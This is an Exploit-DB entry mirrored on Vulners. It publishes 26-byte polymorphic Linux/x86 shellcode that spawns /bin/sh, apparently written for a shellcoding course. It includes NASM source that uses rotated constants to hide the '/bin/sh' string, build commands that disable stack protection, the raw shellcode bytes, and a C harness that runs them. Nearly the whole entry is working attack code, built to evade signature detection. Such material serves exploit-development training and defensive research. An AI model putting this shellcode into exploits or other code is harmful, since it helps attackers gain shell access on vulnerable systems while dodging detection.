Lucene search
K

Linux/x86 - execve(/bin/sh) + Polymorphic Shellcode (26 bytes)

🗓️ 14 Jan 2018 00:00:00Reported by Exploit-DBType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 26 Views

Polymorphic execve /bin/sh shellcode for Linux/x86 (26 bytes

Code
/*

################### Description ###################

; Title   : Polymorphic execve /bin/sh - Shellcode
; Author  : Hashim Jawad
; Website : ihack4falafel[.]com
; Twitter : @ihack4falafel
; SLAE ID : SLAE-1115
; Purpose : spawn /bin/sh shell
; OS      : Linux
; Arch    : x86
; Size    : 26 bytes

#################### sh.nasm ######################

global _start

section .text

_start:
	; zero out EAX
	xor eax,eax
	push eax

	; push (/bin/sh) to the stack
	mov edi, 0x343997B7
	rol edi, 1
	push edi
	mov esi, 0xD2C45E5E
	ror esi, 1
	push esi

	; ping kernel!
	lea ebx, [esp]
	mov al,0xb
	int 0x80

################### sh binary #####################

nasm -f elf32 -o sh.o sh.nasm

ld -z execstack -o sh sh.o

##################  Shellcode #####################

objdump -d sh -M intel

###################  Compile  #####################

gcc -fno-stack-protector -z execstack sh.c -o sh

*/

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x50\xbf\xb7\x97\x39\x34\xd1\xc7\x57\xbe\x5e\x5e\xc4\xd2\xd1\xce\x56\x8d\x1c\x24\xb0\x0b\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jan 2018 00:00Current
7.1High risk
Vulners AI Score7.1
26